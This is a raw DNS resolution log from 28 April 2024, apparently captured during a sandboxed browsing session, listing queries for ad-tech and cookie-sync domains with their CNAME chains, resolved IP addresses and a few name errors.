Apr 28, 2024 00:42:17.528393984 CEST	1.1.1.1	192.168.2.4	0x7fb4	No error (0)	pixel-sync.sitescout.com		34.36.216.150	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.528857946 CEST	1.1.1.1	192.168.2.4	0x600d	No error (0)	aorta.clickagy.com		34.228.243.82	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.528857946 CEST	1.1.1.1	192.168.2.4	0x600d	No error (0)	aorta.clickagy.com		34.198.78.192	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.528857946 CEST	1.1.1.1	192.168.2.4	0x600d	No error (0)	aorta.clickagy.com		34.195.172.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.528857946 CEST	1.1.1.1	192.168.2.4	0x600d	No error (0)	aorta.clickagy.com		34.237.72.36	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.149450064 CEST	1.1.1.1	192.168.2.4	0x99a5	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.149450064 CEST	1.1.1.1	192.168.2.4	0x99a5	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.150110960 CEST	1.1.1.1	192.168.2.4	0xd750	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.150239944 CEST	1.1.1.1	192.168.2.4	0x210a	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		211.120.53.206	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		211.120.53.201	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.165	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.168	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.163	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.167	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.164	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.169	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.170	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		211.120.53.203	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		211.120.53.200	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		211.120.53.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.162	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		211.120.53.204	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		211.120.53.205	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.160	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152926922 CEST	1.1.1.1	192.168.2.4	0x95b6	No error (0)	tg.dr.socdm.com		124.146.153.161	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.152939081 CEST	1.1.1.1	192.168.2.4	0x3b93	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.153438091 CEST	1.1.1.1	192.168.2.4	0x77ae	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.154921055 CEST	1.1.1.1	192.168.2.4	0x74eb	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:20.155410051 CEST	1.1.1.1	192.168.2.4	0x483e	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.155410051 CEST	1.1.1.1	192.168.2.4	0x483e	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.156917095 CEST	1.1.1.1	192.168.2.4	0x5eab	Name error (3)	cs.lkqd.net	none	none	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.157404900 CEST	1.1.1.1	192.168.2.4	0xad92	Name error (3)	cs.lkqd.net	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.159610033 CEST	1.1.1.1	192.168.2.4	0xff43	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.159610033 CEST	1.1.1.1	192.168.2.4	0xff43	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.160063982 CEST	1.1.1.1	192.168.2.4	0x7a30	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.160063982 CEST	1.1.1.1	192.168.2.4	0x7a30	No error (0)	image4-v2.pubmnet.com	spug-nje1pb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.160063982 CEST	1.1.1.1	192.168.2.4	0x7a30	No error (0)	spug-nje1pb.pubmnet.com		207.65.37.182	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.161557913 CEST	1.1.1.1	192.168.2.4	0xbced	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.161557913 CEST	1.1.1.1	192.168.2.4	0xbced	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.162691116 CEST	1.1.1.1	192.168.2.4	0x246c	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.313086033 CEST	1.1.1.1	192.168.2.4	0x2e6	Name error (3)	cs.lkqd.net	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.462698936 CEST	1.1.1.1	192.168.2.4	0x25ba	No error (0)	tpsc-ue1.doubleverify.com	tps-ue1.doubleverify.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.463025093 CEST	1.1.1.1	192.168.2.4	0xc064	No error (0)	tpsc-ue1.doubleverify.com	tps-ue1.doubleverify.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:20.463025093 CEST	1.1.1.1	192.168.2.4	0xc064	No error (0)	tps-ue1.doubleverify.com		34.117.228.201	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.079195976 CEST	1.1.1.1	192.168.2.4	0xcadf	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:21.079195976 CEST	1.1.1.1	192.168.2.4	0xcadf	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.079195976 CEST	1.1.1.1	192.168.2.4	0xcadf	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.079195976 CEST	1.1.1.1	192.168.2.4	0xcadf	No error (0)	pixel-origin.mathtag.com		74.121.140.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.080157042 CEST	1.1.1.1	192.168.2.4	0x84ba	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:21.343094110 CEST	1.1.1.1	192.168.2.4	0xabe4	No error (0)	usersync.gumgum.com		35.172.99.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.343094110 CEST	1.1.1.1	192.168.2.4	0xabe4	No error (0)	usersync.gumgum.com		54.87.127.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.343094110 CEST	1.1.1.1	192.168.2.4	0xabe4	No error (0)	usersync.gumgum.com		3.213.224.199	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.343094110 CEST	1.1.1.1	192.168.2.4	0xabe4	No error (0)	usersync.gumgum.com		52.207.45.55	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.343094110 CEST	1.1.1.1	192.168.2.4	0xabe4	No error (0)	usersync.gumgum.com		3.214.33.241	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.939327002 CEST	1.1.1.1	192.168.2.4	0x9e70	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.939327002 CEST	1.1.1.1	192.168.2.4	0x9e70	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.939327002 CEST	1.1.1.1	192.168.2.4	0x9e70	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.047247887 CEST	1.1.1.1	192.168.2.4	0x80c3	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.047247887 CEST	1.1.1.1	192.168.2.4	0x80c3	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.047657967 CEST	1.1.1.1	192.168.2.4	0xcb1d	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.047657967 CEST	1.1.1.1	192.168.2.4	0xcb1d	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056093931 CEST	1.1.1.1	192.168.2.4	0x81da	No error (0)	thrtle.com		18.205.199.174	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056093931 CEST	1.1.1.1	192.168.2.4	0x81da	No error (0)	thrtle.com		18.211.82.251	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056093931 CEST	1.1.1.1	192.168.2.4	0x81da	No error (0)	thrtle.com		34.207.25.255	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056093931 CEST	1.1.1.1	192.168.2.4	0x81da	No error (0)	thrtle.com		52.22.203.92	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056093931 CEST	1.1.1.1	192.168.2.4	0x81da	No error (0)	thrtle.com		34.225.69.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056093931 CEST	1.1.1.1	192.168.2.4	0x81da	No error (0)	thrtle.com		34.236.2.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057529926 CEST	1.1.1.1	192.168.2.4	0xa4f5	No error (0)	crb.kargo.com		34.199.195.87	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057529926 CEST	1.1.1.1	192.168.2.4	0xa4f5	No error (0)	crb.kargo.com		52.205.109.183	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057529926 CEST	1.1.1.1	192.168.2.4	0xa4f5	No error (0)	crb.kargo.com		34.203.5.111	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057529926 CEST	1.1.1.1	192.168.2.4	0xa4f5	No error (0)	crb.kargo.com		44.196.185.99	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057529926 CEST	1.1.1.1	192.168.2.4	0xa4f5	No error (0)	crb.kargo.com		34.192.129.107	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057529926 CEST	1.1.1.1	192.168.2.4	0xa4f5	No error (0)	crb.kargo.com		52.201.20.96	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057713032 CEST	1.1.1.1	192.168.2.4	0x4e10	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.23.141.19	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.72.131.222	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.45.185.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.4.136.74	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.21.82.215	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.4.16.131	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.44.174.41	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057903051 CEST	1.1.1.1	192.168.2.4	0x37fe	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		54.144.116.53	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.133398056 CEST	1.1.1.1	192.168.2.4	0xa571	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136442900 CEST	1.1.1.1	192.168.2.4	0x156	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136733055 CEST	1.1.1.1	192.168.2.4	0x9654	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136848927 CEST	1.1.1.1	192.168.2.4	0x4a2	No error (0)	rtb.adentifi.com		3.213.112.36	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136848927 CEST	1.1.1.1	192.168.2.4	0x4a2	No error (0)	rtb.adentifi.com		3.214.176.164	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136848927 CEST	1.1.1.1	192.168.2.4	0x4a2	No error (0)	rtb.adentifi.com		3.223.18.196	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136848927 CEST	1.1.1.1	192.168.2.4	0x4a2	No error (0)	rtb.adentifi.com		52.86.59.129	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136848927 CEST	1.1.1.1	192.168.2.4	0x4a2	No error (0)	rtb.adentifi.com		34.224.116.50	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.136848927 CEST	1.1.1.1	192.168.2.4	0x4a2	No error (0)	rtb.adentifi.com		3.91.136.197	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.137065887 CEST	1.1.1.1	192.168.2.4	0xa209	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.141958952 CEST	1.1.1.1	192.168.2.4	0x8584	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.141958952 CEST	1.1.1.1	192.168.2.4	0x8584	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		52.207.83.244	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.141958952 CEST	1.1.1.1	192.168.2.4	0x8584	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		3.230.94.159	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.141958952 CEST	1.1.1.1	192.168.2.4	0x8584	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		34.239.32.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.141958952 CEST	1.1.1.1	192.168.2.4	0x8584	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		34.200.31.123	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.144018888 CEST	1.1.1.1	192.168.2.4	0x402b	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:23.144314051 CEST	1.1.1.1	192.168.2.4	0x3cd6	No error (0)	a.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.144314051 CEST	1.1.1.1	192.168.2.4	0x3cd6	No error (0)	a.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.144637108 CEST	1.1.1.1	192.168.2.4	0x2837	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	ssp.disqus.com	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		52.206.182.240	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		75.101.188.66	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.225.87.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		52.201.14.236	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.195.217.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		54.208.83.234	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		3.222.111.188	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145050049 CEST	1.1.1.1	192.168.2.4	0x9dfb	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		52.200.244.246	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145760059 CEST	1.1.1.1	192.168.2.4	0x8c34	No error (0)	ssp.disqus.com	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.145833015 CEST	1.1.1.1	192.168.2.4	0x2f10	No error (0)	ad.mrtnsvr.com		34.102.163.6	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.151103973 CEST	1.1.1.1	192.168.2.4	0xdeca	No error (0)	ums.acuityplatform.com		69.90.254.78	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.204.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.196.176	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.181.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.215.47	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.130.251	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.184.87	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.226.31	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.220.53	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152164936 CEST	1.1.1.1	192.168.2.4	0x1083	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.221.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152234077 CEST	1.1.1.1	192.168.2.4	0x746c	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.152602911 CEST	1.1.1.1	192.168.2.4	0xef30	No error (0)	cs.iqzone.com		8.2.111.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.153913975 CEST	1.1.1.1	192.168.2.4	0x280b	No error (0)	gocm.c.appier.net	gocm-geo.c.appier.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.154206991 CEST	1.1.1.1	192.168.2.4	0x6c7d	No error (0)	gocm.c.appier.net	gocm-geo.c.appier.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.169572115 CEST	1.1.1.1	192.168.2.4	0x9de	No error (0)	ipac.ctnsnet.com		35.186.193.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.170876026 CEST	1.1.1.1	192.168.2.4	0x9137	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.170876026 CEST	1.1.1.1	192.168.2.4	0x9137	No error (0)	1.cpm.ak-is2.net		174.137.133.32	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.172807932 CEST	1.1.1.1	192.168.2.4	0x9dbf	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:23.173163891 CEST	1.1.1.1	192.168.2.4	0x459a	No error (0)	core.iprom.net		195.5.165.20	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.188409090 CEST	1.1.1.1	192.168.2.4	0x1320	No error (0)	matching.truffle.bid		23.88.86.2	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.188409090 CEST	1.1.1.1	192.168.2.4	0x1320	No error (0)	matching.truffle.bid		162.55.120.196	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.201394081 CEST	1.1.1.1	192.168.2.4	0xc4d3	No error (0)	pmp.mxptint.net		38.68.201.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:28.229078054 CEST	1.1.1.1	192.168.2.4	0xf8b9	No error (0)	yahoo-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:28.229854107 CEST	1.1.1.1	192.168.2.4	0xcbc7	No error (0)	yahoo-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:28.876800060 CEST	1.1.1.1	192.168.2.4	0xf344	Name error (3)	ads.avct.cloud	none	none	65	IN (0x0001)	false
Apr 28, 2024 00:42:28.877008915 CEST	1.1.1.1	192.168.2.4	0xdd04	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:29.119576931 CEST	1.1.1.1	192.168.2.4	0x74ae	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:31.069395065 CEST	1.1.1.1	192.168.2.4	0x1cb8	Name error (3)	cs.lkqd.net	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:31.070017099 CEST	1.1.1.1	192.168.2.4	0xd293	Name error (3)	cs.lkqd.net	none	none	65	IN (0x0001)	false
Apr 28, 2024 00:42:31.287113905 CEST	1.1.1.1	192.168.2.4	0xe178	Name error (3)	cs.lkqd.net	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:31.435405970 CEST	1.1.1.1	192.168.2.4	0x5f65	No error (0)	a.sportradarserving.com	zagreb.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:31.435405970 CEST	1.1.1.1	192.168.2.4	0x5f65	No error (0)	zagreb.geo.iponweb.net	pool-use.zagreb.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:31.435405970 CEST	1.1.1.1	192.168.2.4	0x5f65	No error (0)	pool-use.zagreb.iponweb.net		35.211.233.246	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:31.436645985 CEST	1.1.1.1	192.168.2.4	0x6cd1	No error (0)	a.sportradarserving.com	zagreb.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:31.436645985 CEST	1.1.1.1	192.168.2.4	0x6cd1	No error (0)	zagreb.geo.iponweb.net	pool-use.zagreb.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:32.291220903 CEST	1.1.1.1	192.168.2.4	0xb2df	No error (0)	s.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.291220903 CEST	1.1.1.1	192.168.2.4	0xb2df	No error (0)	s.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.292886972 CEST	1.1.1.1	192.168.2.4	0x8c2	No error (0)	s.tribalfusion.com			65	IN (0x0001)	false
